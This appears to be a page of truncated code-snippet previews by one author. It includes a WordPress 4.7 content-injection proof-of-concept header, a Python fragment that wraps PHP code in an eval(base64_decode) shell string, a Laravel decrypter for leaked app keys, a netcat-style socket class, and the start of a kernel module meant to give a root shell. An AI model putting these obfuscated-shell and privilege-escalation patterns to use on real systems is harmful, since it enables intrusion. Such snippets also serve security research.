leonjza

# 2017 - @leonjza
#
# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html

# Usage example:
#
# List available posts:
#
# $ python inject.py http://localhost:8070/

leonjza

import base64
import sys
import re

SHELL = "<?php eval(base64_decode(\"{shell}\"));"
with open(sys.argv[1]) as f:
    source = f.readlines()

source = ''.join(source).replace('\n', '')
source = source.replace('<?php', '')

leonjza

<?php
/*
 * Quick 'n Dirty Laravel 5.1 decrypter.
 *
 * Based directly off the source code at:
 *  https://github.com/laravel/framework/blob/5.1/src/Illuminate/Encryption/Encrypter.php
 *
 * Have access to an application key from a .env?
 * Have some encrypted data you want to decrypt?
 * Well: (new Crypt($key))->decrypt($payload); should have you sorted

leonjza

import socket
 
class Netcat:

    """ Python 'netcat like' module """

    def __init__(self, ip, port):

        self.buff = ""
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

leonjza

#include <linux/module.h>       /* Needed by all modules */
#include <linux/kernel.h>       /* Needed for KERN_INFO */
#include <linux/init.h>         /* Needed for the macros */

/* For our shell ^_^ */
#include<linux/kmod.h>

int get_root (void)
{